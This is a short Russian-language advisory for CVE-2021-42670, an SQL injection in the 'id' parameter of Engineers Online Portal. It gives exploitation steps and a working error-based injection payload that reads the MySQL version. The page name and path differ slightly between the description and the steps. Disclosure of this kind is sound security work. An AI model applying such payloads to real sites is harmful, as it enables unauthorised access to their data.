CVE-2021-42670

CVE-2021-42670 - SQL-инъекция в системе онлайн-портала инженеров.

Техническое описание:

Уязвимость SQL-инъекции существует в Engineers Online Portal. Злоумышленник может использовать уязвимый параметр "id" на веб-странице "announcements_student.php" для манипуляции выполняемым SQL-запросом. В результате злоумышленник может извлечь конфиденциальные данные с веб-сервера.

Затронутые компоненты -

Уязвимая страница - announcements_student.php

Уязвимый параметр - "id"

Шаги для эксплуатации:

1. Перейдите на http://localhost/nia_munoz_monitoring_system/announcements_students.php
2. Вставьте ваш payload в параметр id

Подтверждение концепции (PoC) -

Следующий payload позволит вам извлечь версию MySql сервера, работающего на веб-сервере -

1' AND (SELECT 4356 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(MID((IFNULL(CAST(VERSION() AS NCHAR),0x20)),1,51)),0x7178786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pMLo'='pMLo